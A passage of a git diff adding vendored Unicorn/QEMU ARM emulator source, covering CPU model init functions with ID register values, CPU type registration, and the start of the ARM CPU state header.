cortexa8_cp_reginfo[] = { + { "L2LOCKDOWN", 15,9,0, 0,1,0, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + { "L2AUXCR", 15,9,0, 0,1,2, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + REGINFO_SENTINEL +}; + +static void cortex_a8_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,cortex-a8"; + set_feature(&cpu->env, ARM_FEATURE_V7); + set_feature(&cpu->env, ARM_FEATURE_VFP3); + set_feature(&cpu->env, ARM_FEATURE_NEON); + set_feature(&cpu->env, ARM_FEATURE_THUMB2EE); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + cpu->midr = 0x410fc080; + cpu->reset_fpsid = 0x410330c0; + cpu->mvfr0 = 0x11110222; + cpu->mvfr1 = 0x00011100; + cpu->ctr = 0x82048004; + cpu->reset_sctlr = 0x00c50078; + cpu->id_pfr0 = 0x1031; + cpu->id_pfr1 = 0x11; + cpu->id_dfr0 = 0x400; + cpu->id_afr0 = 0; + cpu->id_mmfr0 = 0x31100003; + cpu->id_mmfr1 = 0x20000000; + cpu->id_mmfr2 = 0x01202000; + cpu->id_mmfr3 = 0x11; + cpu->id_isar0 = 0x00101111; + cpu->id_isar1 = 0x12112111; + cpu->id_isar2 = 0x21232031; + cpu->id_isar3 = 0x11112131; + cpu->id_isar4 = 0x00111142; + cpu->dbgdidr = 0x15141000; + cpu->clidr = (1 << 27) | (2 << 24) | 3; + cpu->ccsidr[0] = 0xe007e01a; /* 16k L1 dcache. */ + cpu->ccsidr[1] = 0x2007e01a; /* 16k L1 icache. */ + cpu->ccsidr[2] = 0xf0000000; /* No L2 icache. */ + cpu->reset_auxcr = 2; + define_arm_cp_regs(cpu, cortexa8_cp_reginfo); +} + +static const ARMCPRegInfo cortexa9_cp_reginfo[] = { + /* power_control should be set to maximum latency. Again, + * default to 0 and set by private hook + */ + { "A9_PWRCTL", 15,15,0, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_power_control) }, + { "A9_DIAG", 15,15,0, 0,0,1, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_diagnostic) }, + { "A9_PWRDIAG",15,15,0, 0,0,2, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_power_diagnostic) }, + { "NEONBUSY", 15,15,1, 0,0,0, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + /* TLB lockdown control */ + { "TLB_LOCKR", 15,15,4, 0,5,2, 0, + ARM_CP_NOP, PL1_W, NULL, 0 }, + { "TLB_LOCKW", 15,15,4, 0,5,4, 0, + ARM_CP_NOP, PL1_W, NULL, 0, }, + { "TLB_VA", 15,15,5, 0,5,2, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + { "TLB_PA", 15,15,6, 0,5,2, 0, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + { "TLB_ATTR", 15,15,7, 0,5,2, 0, + ARM_CP_CONST, PL1_RW, NULL, 0, }, + REGINFO_SENTINEL +}; + +static void cortex_a9_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,cortex-a9"; + set_feature(&cpu->env, ARM_FEATURE_V7); + set_feature(&cpu->env, ARM_FEATURE_VFP3); + set_feature(&cpu->env, ARM_FEATURE_VFP_FP16); + set_feature(&cpu->env, ARM_FEATURE_NEON); + set_feature(&cpu->env, ARM_FEATURE_THUMB2EE); + /* Note that A9 supports the MP extensions even for + * A9UP and single-core A9MP (which are both different + * and valid configurations; we don't model A9UP). + */ + set_feature(&cpu->env, ARM_FEATURE_V7MP); + set_feature(&cpu->env, ARM_FEATURE_CBAR); + cpu->midr = 0x410fc090; + cpu->reset_fpsid = 0x41033090; + cpu->mvfr0 = 0x11110222; + cpu->mvfr1 = 0x01111111; + cpu->ctr = 0x80038003; + cpu->reset_sctlr = 0x00c50078; + cpu->id_pfr0 = 0x1031; + cpu->id_pfr1 = 0x11; + cpu->id_dfr0 = 0x000; + cpu->id_afr0 = 0; + cpu->id_mmfr0 = 0x00100103; + cpu->id_mmfr1 = 0x20000000; + cpu->id_mmfr2 = 0x01230000; + cpu->id_mmfr3 = 0x00002111; + cpu->id_isar0 = 0x00101111; + cpu->id_isar1 = 0x13112111; + cpu->id_isar2 = 0x21232041; + cpu->id_isar3 = 0x11112131; + cpu->id_isar4 = 0x00111142; + cpu->dbgdidr = 0x35141000; + cpu->clidr = (1 << 27) | (1 << 24) | 3; + cpu->ccsidr[0] = 0xe00fe019; /* 16k L1 dcache. */ + cpu->ccsidr[1] = 0x200fe019; /* 16k L1 icache. */ + define_arm_cp_regs(cpu, cortexa9_cp_reginfo); +} + +#ifndef CONFIG_USER_ONLY +static uint64_t a15_l2ctlr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* Linux wants the number of processors from here. + * Might as well set the interrupt-controller bit too. + */ + return ((smp_cpus - 1) << 24) | (1 << 23); +} +#endif + +static const ARMCPRegInfo cortexa15_cp_reginfo[] = { +#ifndef CONFIG_USER_ONLY + { "L2CTLR", 15,9,0, 0,1,2, 0, + 0, PL1_RW, NULL, 0, 0, + NULL, a15_l2ctlr_read, arm_cp_write_ignore, }, +#endif + { "L2ECTLR", 15,9,0, 0,1,3, 0, + ARM_CP_CONST, PL1_RW, NULL, 0 }, + REGINFO_SENTINEL +}; + +static void cortex_a15_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,cortex-a15"; + set_feature(&cpu->env, ARM_FEATURE_V7); + set_feature(&cpu->env, ARM_FEATURE_VFP4); + set_feature(&cpu->env, ARM_FEATURE_NEON); + set_feature(&cpu->env, ARM_FEATURE_THUMB2EE); + set_feature(&cpu->env, ARM_FEATURE_ARM_DIV); + set_feature(&cpu->env, ARM_FEATURE_GENERIC_TIMER); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + set_feature(&cpu->env, ARM_FEATURE_CBAR_RO); + set_feature(&cpu->env, ARM_FEATURE_LPAE); + cpu->kvm_target = QEMU_KVM_ARM_TARGET_CORTEX_A15; + cpu->midr = 0x412fc0f1; + cpu->reset_fpsid = 0x410430f0; + cpu->mvfr0 = 0x10110222; + cpu->mvfr1 = 0x11111111; + cpu->ctr = 0x8444c004; + cpu->reset_sctlr = 0x00c50078; + cpu->id_pfr0 = 0x00001131; + cpu->id_pfr1 = 0x00011011; + cpu->id_dfr0 = 0x02010555; + cpu->id_afr0 = 0x00000000; + cpu->id_mmfr0 = 0x10201105; + cpu->id_mmfr1 = 0x20000000; + cpu->id_mmfr2 = 0x01240000; + cpu->id_mmfr3 = 0x02102211; + cpu->id_isar0 = 0x02101110; + cpu->id_isar1 = 0x13112111; + cpu->id_isar2 = 0x21232041; + cpu->id_isar3 = 0x11112131; + cpu->id_isar4 = 0x10011142; + cpu->dbgdidr = 0x3515f021; + cpu->clidr = 0x0a200023; + cpu->ccsidr[0] = 0x701fe00a; /* 32K L1 dcache */ + cpu->ccsidr[1] = 0x201fe00a; /* 32K L1 icache */ + cpu->ccsidr[2] = 0x711fe07a; /* 4096K L2 unified cache */ + define_arm_cp_regs(cpu, cortexa15_cp_reginfo); +} + +static void ti925t_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + set_feature(&cpu->env, ARM_FEATURE_V4T); + set_feature(&cpu->env, ARM_FEATURE_OMAPCP); + cpu->midr = ARM_CPUID_TI925T; + cpu->ctr = 0x5109149; + cpu->reset_sctlr = 0x00000070; +} + +static void sa1100_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "intel,sa1100"; + set_feature(&cpu->env, ARM_FEATURE_STRONGARM); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + cpu->midr = 0x4401A11B; + cpu->reset_sctlr = 0x00000070; +} + +static void sa1110_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + set_feature(&cpu->env, ARM_FEATURE_STRONGARM); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + cpu->midr = 0x6901B119; + cpu->reset_sctlr = 0x00000070; +} + +static void pxa250_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + cpu->midr = 0x69052100; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa255_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + cpu->midr = 0x69052d00; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa260_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + cpu->midr = 0x69052903; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa261_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + cpu->midr = 0x69052d05; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa262_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + cpu->midr = 0x69052d06; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa270a0_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + set_feature(&cpu->env, ARM_FEATURE_IWMMXT); + cpu->midr = 0x69054110; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa270a1_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + set_feature(&cpu->env, ARM_FEATURE_IWMMXT); + cpu->midr = 0x69054111; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa270b0_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + set_feature(&cpu->env, ARM_FEATURE_IWMMXT); + cpu->midr = 0x69054112; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa270b1_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + set_feature(&cpu->env, ARM_FEATURE_IWMMXT); + cpu->midr = 0x69054113; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa270c0_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + set_feature(&cpu->env, ARM_FEATURE_IWMMXT); + cpu->midr = 0x69054114; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +static void pxa270c5_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "marvell,xscale"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_XSCALE); + set_feature(&cpu->env, ARM_FEATURE_IWMMXT); + cpu->midr = 0x69054117; + cpu->ctr = 0xd172172; + cpu->reset_sctlr = 0x00000078; +} + +#ifdef CONFIG_USER_ONLY +static void arm_any_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + set_feature(&cpu->env, ARM_FEATURE_V8); + set_feature(&cpu->env, ARM_FEATURE_VFP4); + set_feature(&cpu->env, ARM_FEATURE_NEON); + set_feature(&cpu->env, ARM_FEATURE_THUMB2EE); + set_feature(&cpu->env, ARM_FEATURE_V8_AES); + set_feature(&cpu->env, ARM_FEATURE_V8_SHA1); + set_feature(&cpu->env, ARM_FEATURE_V8_SHA256); + set_feature(&cpu->env, ARM_FEATURE_V8_PMULL); + set_feature(&cpu->env, ARM_FEATURE_CRC); + cpu->midr = 0xffffffff; +} +#endif + +#endif /* !defined(CONFIG_USER_ONLY) || !defined(TARGET_AARCH64) */ + +typedef struct ARMCPUInfo { + const char *name; + void (*initfn)(struct uc_struct *uc, Object *obj, void *opaque); + void (*class_init)(struct uc_struct *uc, ObjectClass *oc, void *data); +} ARMCPUInfo; + +static const ARMCPUInfo arm_cpus[] = { +#if !defined(CONFIG_USER_ONLY) || !defined(TARGET_AARCH64) + { "arm926", arm926_initfn }, + { "arm946", arm946_initfn }, + { "arm1026", arm1026_initfn }, + /* What QEMU calls "arm1136-r2" is actually the 1136 r0p2, i.e. an + * older core than plain "arm1136". In particular this does not + * have the v6K features. + */ + { "arm1136-r2", arm1136_r2_initfn }, + { "arm1136", arm1136_initfn }, + { "arm1176", arm1176_initfn }, + { "arm11mpcore", arm11mpcore_initfn }, + { "cortex-m3", cortex_m3_initfn, arm_v7m_class_init }, + { "cortex-a8", cortex_a8_initfn }, + { "cortex-a9", cortex_a9_initfn }, + { "cortex-a15", cortex_a15_initfn }, + { "ti925t", ti925t_initfn }, + { "sa1100", sa1100_initfn }, + { "sa1110", sa1110_initfn }, + { "pxa250", pxa250_initfn }, + { "pxa255", pxa255_initfn }, + { "pxa260", pxa260_initfn }, + { "pxa261", pxa261_initfn }, + { "pxa262", pxa262_initfn }, + /* "pxa270" is an alias for "pxa270-a0" */ + { "pxa270", pxa270a0_initfn }, + { "pxa270-a0", pxa270a0_initfn }, + { "pxa270-a1", pxa270a1_initfn }, + { "pxa270-b0", pxa270b0_initfn }, + { "pxa270-b1", pxa270b1_initfn }, + { "pxa270-c0", pxa270c0_initfn }, + { "pxa270-c5", pxa270c5_initfn }, +#ifdef CONFIG_USER_ONLY + { "any", arm_any_initfn }, +#endif +#endif + { NULL } +}; + +static void arm_cpu_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + ARMCPUClass *acc = ARM_CPU_CLASS(uc, oc); + CPUClass *cc = CPU_CLASS(uc, acc); + DeviceClass *dc = DEVICE_CLASS(uc, oc); + + acc->parent_realize = dc->realize; + dc->realize = arm_cpu_realizefn; + //dc->props = arm_cpu_properties; + + acc->parent_reset = cc->reset; + cc->reset = arm_cpu_reset; + + cc->class_by_name = arm_cpu_class_by_name; + cc->has_work = arm_cpu_has_work; + cc->cpu_exec_interrupt = arm_cpu_exec_interrupt; + //cc->dump_state = arm_cpu_dump_state; + cc->set_pc = arm_cpu_set_pc; +#ifdef CONFIG_USER_ONLY + cc->handle_mmu_fault = arm_cpu_handle_mmu_fault; +#else + cc->do_interrupt = arm_cpu_do_interrupt; + cc->get_phys_page_debug = arm_cpu_get_phys_page_debug; +#endif + cc->debug_excp_handler = arm_debug_excp_handler; +} + +static void cpu_register(struct uc_struct *uc, const ARMCPUInfo *info) +{ + TypeInfo type_info = { 0 }; + type_info.parent = TYPE_ARM_CPU; + type_info.instance_size = sizeof(ARMCPU); + type_info.instance_init = info->initfn; + type_info.class_size = sizeof(ARMCPUClass); + type_info.class_init = info->class_init; + + type_info.name = g_strdup_printf("%s-" TYPE_ARM_CPU, info->name); + type_register(uc, &type_info); + g_free((void *)type_info.name); +} + +void arm_cpu_register_types(void *opaque) +{ + const ARMCPUInfo *info = arm_cpus; + + TypeInfo arm_cpu_type_info = { 0 }; + arm_cpu_type_info.name = TYPE_ARM_CPU, + arm_cpu_type_info.parent = TYPE_CPU, + arm_cpu_type_info.instance_userdata = opaque, + arm_cpu_type_info.instance_size = sizeof(ARMCPU), + arm_cpu_type_info.instance_init = arm_cpu_initfn, + arm_cpu_type_info.instance_post_init = arm_cpu_post_init, + arm_cpu_type_info.instance_finalize = arm_cpu_finalizefn, + arm_cpu_type_info.abstract = true, + arm_cpu_type_info.class_size = sizeof(ARMCPUClass), + arm_cpu_type_info.class_init = arm_cpu_class_init, + + type_register_static(opaque, &arm_cpu_type_info); + + while (info->name) { + cpu_register(opaque, info); + info++; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.h new file mode 100644 index 0000000..5314cb4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.h @@ -0,0 +1,1548 @@ +/* + * ARM virtual CPU header + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#ifndef CPU_ARM_H +#define CPU_ARM_H + +#include "config.h" + +#include "kvm-consts.h" + +#if defined(TARGET_AARCH64) + /* AArch64 definitions */ +# define TARGET_LONG_BITS 64 +# define ELF_MACHINE EM_AARCH64 +#else +# define TARGET_LONG_BITS 32 +# define ELF_MACHINE EM_ARM +#endif + +#define CPUArchState struct CPUARMState + +#include "qemu-common.h" +#include "exec/cpu-defs.h" + +#include "fpu/softfloat.h" + +#define TARGET_HAS_ICE 1 + +#define EXCP_UDEF 1 /* undefined instruction */ +#define EXCP_SWI 2 /* software interrupt */ +#define EXCP_PREFETCH_ABORT 3 +#define EXCP_DATA_ABORT 4 +#define EXCP_IRQ 5 +#define EXCP_FIQ 6 +#define EXCP_BKPT 7 +#define EXCP_EXCEPTION_EXIT 8 /* Return from v7M exception. */ +#define EXCP_KERNEL_TRAP 9 /* Jumped to kernel code page. */ +#define EXCP_STREX 10 +#define EXCP_HVC 11 /* HyperVisor Call */ +#define EXCP_HYP_TRAP 12 +#define EXCP_SMC 13 /* Secure Monitor Call */ +#define EXCP_VIRQ 14 +#define EXCP_VFIQ 15 + +#define ARMV7M_EXCP_RESET 1 +#define ARMV7M_EXCP_NMI 2 +#define ARMV7M_EXCP_HARD 3 +#define ARMV7M_EXCP_MEM 4 +#define ARMV7M_EXCP_BUS 5 +#define ARMV7M_EXCP_USAGE 6 +#define ARMV7M_EXCP_SVC 11 +#define ARMV7M_EXCP_DEBUG 12 +#define ARMV7M_EXCP_PENDSV 14 +#define ARMV7M_EXCP_SYSTICK 15 + +/* ARM-specific interrupt pending bits. */ +#define CPU_INTERRUPT_FIQ CPU_INTERRUPT_TGT_EXT_1 +#define CPU_INTERRUPT_VIRQ CPU_INTERRUPT_TGT_EXT_2 +#define CPU_INTERRUPT_VFIQ CPU_INTERRUPT_TGT_EXT_3 + +/* The usual mapping for an AArch64 system register to its AArch32 + * counterpart is for the 32 bit world to have access to the lower + * half only (with writes leaving the upper half untouched). It's + * therefore useful to be able to pass TCG the offset of the least + * significant half of a uint64_t struct member. + */ +#ifdef HOST_WORDS_BIGENDIAN +#define offsetoflow32(S, M) (offsetof(S, M) + sizeof(uint32_t)) +#define offsetofhigh32(S, M) offsetof(S, M) +#else +#define offsetoflow32(S, M) offsetof(S, M) +#define offsetofhigh32(S, M) (offsetof(S, M) + sizeof(uint32_t)) +#endif + +/* Meanings of the ARMCPU object's four inbound GPIO lines */ +#define ARM_CPU_IRQ 0 +#define ARM_CPU_FIQ 1 +#define ARM_CPU_VIRQ 2 +#define ARM_CPU_VFIQ 3 + +typedef void ARMWriteCPFunc(void *opaque, int cp_info, + int srcreg, int operand, uint32_t value); +typedef uint32_t ARMReadCPFunc(void *opaque, int cp_info, + int dstreg, int operand); + +struct arm_boot_info; + +#define NB_MMU_MODES 4 + +/* We currently assume float and double are IEEE single and double + precision respectively. + Doing runtime conversions is tricky because VFP registers may contain + integer values (eg. as the result of a FTOSI instruction). + s<2n> maps to the least significant half of d + s<2n+1> maps to the most significant half of d + */ + +/* CPU state for each instance of a generic timer (in cp15 c14) */ +typedef struct ARMGenericTimer { + uint64_t cval; /* Timer CompareValue register */ + uint64_t ctl; /* Timer Control register */ +} ARMGenericTimer; + +#define GTIMER_PHYS 0 +#define GTIMER_VIRT 1 +#define NUM_GTIMERS 2 + +typedef struct CPUARMState { + /* Regs for current mode. */ + uint32_t regs[16]; + + /* 32/64 switch only happens when taking and returning from + * exceptions so the overlap semantics are taken care of then + * instead of having a complicated union. + */ + /* Regs for A64 mode. */ + uint64_t xregs[32]; + uint64_t pc; + /* PSTATE isn't an architectural register for ARMv8. However, it is + * convenient for us to assemble the underlying state into a 32 bit format + * identical to the architectural format used for the SPSR. (This is also + * what the Linux kernel's 'pstate' field in signal handlers and KVM's + * 'pstate' register are.) Of the PSTATE bits: + * NZCV are kept in the split out env->CF/VF/NF/ZF, (which have the same + * semantics as for AArch32, as described in the comments on each field) + * nRW (also known as M[4]) is kept, inverted, in env->aarch64 + * DAIF (exception masks) are kept in env->daif + * all other bits are stored in their correct places in env->pstate + */ + uint32_t pstate; + uint32_t aarch64; /* 1 if CPU is in aarch64 state; inverse of PSTATE.nRW */ + + /* Frequently accessed CPSR bits are stored separately for efficiency. + This contains all the other bits. Use cpsr_{read,write} to access + the whole CPSR. */ + uint32_t uncached_cpsr; + uint32_t spsr; + + /* Banked registers. */ + uint64_t banked_spsr[8]; + uint32_t banked_r13[8]; + uint32_t banked_r14[8]; + + /* These hold r8-r12. */ + uint32_t usr_regs[5]; + uint32_t fiq_regs[5]; + + /* cpsr flag cache for faster execution */ + uint32_t CF; /* 0 or 1 */ + uint32_t VF; /* V is the bit 31. All other bits are undefined */ + uint32_t NF; /* N is bit 31. All other bits are undefined. */ + uint32_t ZF; /* Z set if zero. */ + uint32_t QF; /* 0 or 1 */ + uint32_t GE; /* cpsr[19:16] */ + uint32_t thumb; /* cpsr[5]. 0 = arm mode, 1 = thumb mode. */ + uint32_t condexec_bits; /* IT bits. cpsr[15:10,26:25]. */ + uint64_t daif; /* exception masks, in the bits they are in in PSTATE */ + + uint64_t elr_el[4]; /* AArch64 exception link regs */ + uint64_t sp_el[4]; /* AArch64 banked stack pointers */ + + /* System control coprocessor (cp15) */ + struct { + uint32_t c0_cpuid; + uint64_t c0_cssel; /* Cache size selection. */ + uint64_t c1_sys; /* System control register. */ + uint64_t c1_coproc; /* Coprocessor access register. */ + uint32_t c1_xscaleauxcr; /* XScale auxiliary control register. */ + uint64_t ttbr0_el1; /* MMU translation table base 0. */ + uint64_t ttbr1_el1; /* MMU translation table base 1. */ + uint64_t c2_control; /* MMU translation table base control. */ + uint32_t c2_mask; /* MMU translation table base selection mask. */ + uint32_t c2_base_mask; /* MMU translation table base 0 mask. */ + uint32_t c2_data; /* MPU data cachable bits. */ + uint32_t c2_insn; /* MPU instruction cachable bits. */ + uint32_t c3; /* MMU domain access control register + MPU write buffer control. */ + uint32_t pmsav5_data_ap; /* PMSAv5 MPU data access permissions */ + uint32_t pmsav5_insn_ap; /* PMSAv5 MPU insn access permissions */ + uint64_t hcr_el2; /* Hypervisor configuration register */ + uint64_t scr_el3; /* Secure configuration register. */ + uint32_t ifsr_el2; /* Fault status registers. */ + uint64_t esr_el[4]; + uint32_t c6_region[8]; /* MPU base/size registers. */ + uint64_t far_el[4]; /* Fault address registers. */ + uint64_t par_el1; /* Translation result. */ + uint32_t c9_insn; /* Cache lockdown registers. */ + uint32_t c9_data; + uint64_t c9_pmcr; /* performance monitor control register */ + uint64_t c9_pmcnten; /* perf monitor counter enables */ + uint32_t c9_pmovsr; /* perf monitor overflow status */ + uint32_t c9_pmxevtyper; /* perf monitor event type */ + uint32_t c9_pmuserenr; /* perf monitor user enable */ + uint32_t c9_pminten; /* perf monitor interrupt enables */ + uint64_t mair_el1; + uint64_t vbar_el[4]; /* vector base address register */ + uint32_t c13_fcse; /* FCSE PID. */ + uint64_t contextidr_el1; /* Context ID. */ + uint64_t tpidr_el0; /* User RW Thread register. */ + uint64_t tpidrro_el0; /* User RO Thread register. */ + uint64_t tpidr_el1; /* Privileged Thread register. */ + uint64_t c14_cntfrq; /* Counter Frequency register */ + uint64_t c14_cntkctl; /* Timer Control register */ + ARMGenericTimer c14_timer[NUM_GTIMERS]; + uint32_t c15_cpar; /* XScale Coprocessor Access Register */ + uint32_t c15_ticonfig; /* TI925T configuration byte. */ + uint32_t c15_i_max; /* Maximum D-cache dirty line index. */ + uint32_t c15_i_min; /* Minimum D-cache dirty line index. */ + uint32_t c15_threadid; /* TI debugger thread-ID. */ + uint32_t c15_config_base_address; /* SCU base address. */ + uint32_t c15_diagnostic; /* diagnostic register */ + uint32_t c15_power_diagnostic; + uint32_t c15_power_control; /* power control */ + uint64_t dbgbvr[16]; /* breakpoint value registers */ + uint64_t dbgbcr[16]; /* breakpoint control registers */ + uint64_t dbgwvr[16]; /* watchpoint value registers */ + uint64_t dbgwcr[16]; /* watchpoint control registers */ + uint64_t mdscr_el1; + /* If the counter is enabled, this stores the last time the counter + * was reset. Otherwise it stores the counter value + */ + uint64_t c15_ccnt; + uint64_t pmccfiltr_el0; /* Performance Monitor Filter Register */ + } cp15; + + struct { + uint32_t other_sp; + uint32_t vecbase; + uint32_t basepri; + uint32_t control; + int current_sp; + int exception; + int pending_exception; + } v7m; + + /* Information associated with an exception about to be taken: + * code which raises an exception must set cs->exception_index and + * the relevant parts of this structure; the cpu_do_interrupt function + * will then set the guest-visible registers as part of the exception + * entry process. + */ + struct { + uint32_t syndrome; /* AArch64 format syndrome register */ + uint32_t fsr; /* AArch32 format fault status register info */ + uint64_t vaddress; /* virtual addr associated with exception, if any */ + /* If we implement EL2 we will also need to store information + * about the intermediate physical address for stage 2 faults. + */ + } exception; + + /* Thumb-2 EE state. */ + uint32_t teecr; + uint32_t teehbr; + + /* VFP coprocessor state. */ + struct { + /* VFP/Neon register state. Note that the mapping between S, D and Q + * views of the register bank differs between AArch64 and AArch32: + * In AArch32: + * Qn = regs[2n+1]:regs[2n] + * Dn = regs[n] + * Sn = regs[n/2] bits 31..0 for even n, and bits 63..32 for odd n + * (and regs[32] to regs[63] are inaccessible) + * In AArch64: + * Qn = regs[2n+1]:regs[2n] + * Dn = regs[2n] + * Sn = regs[2n] bits 31..0 + * This corresponds to the architecturally defined mapping between + * the two execution states, and means we do not need to explicitly + * map these registers when changing states. + */ + float64 regs[64]; + + uint32_t xregs[16]; + /* We store these fpcsr fields separately for convenience. */ + int vec_len; + int vec_stride; + + /* scratch space when Tn are not sufficient. */ + uint32_t scratch[8]; + + /* fp_status is the "normal" fp status. standard_fp_status retains + * values corresponding to the ARM "Standard FPSCR Value", ie + * default-NaN, flush-to-zero, round-to-nearest and is used by + * any operations (generally Neon) which the architecture defines + * as controlled by the standard FPSCR value rather than the FPSCR. + * + * To avoid having to transfer exception bits around, we simply + * say that the FPSCR cumulative exception flags are the logical + * OR of the flags in the two fp statuses. This relies on the + * only thing which needs to read the exception flags being + * an explicit FPSCR read. + */ + float_status fp_status; + float_status standard_fp_status; + } vfp; + uint64_t exclusive_addr; + uint64_t exclusive_val; + uint64_t exclusive_high; +#if defined(CONFIG_USER_ONLY) + uint64_t exclusive_test; + uint32_t exclusive_info; +#endif + + /* iwMMXt coprocessor state. */ + struct { + uint64_t regs[16]; + uint64_t val; + + uint32_t cregs[16]; + } iwmmxt; + + /* For mixed endian mode. */ + bool bswap_code; + +#if defined(CONFIG_USER_ONLY) + /* For usermode syscall translation. */ + int eabi; +#endif + + struct CPUBreakpoint *cpu_breakpoint[16]; + struct CPUWatchpoint *cpu_watchpoint[16]; + + CPU_COMMON + + /* These fields after the common ones so they are preserved on reset. */ + + /* Internal CPU feature flags. */ + uint64_t features; + + void *nvic; + const struct arm_boot_info *boot_info; + + // Unicorn engine + struct uc_struct *uc; +} CPUARMState; + +#include "cpu-qom.h" + +ARMCPU *cpu_arm_init(struct uc_struct *uc, const char *cpu_model); +int cpu_arm_exec(struct uc_struct *uc, CPUARMState *s); +uint32_t 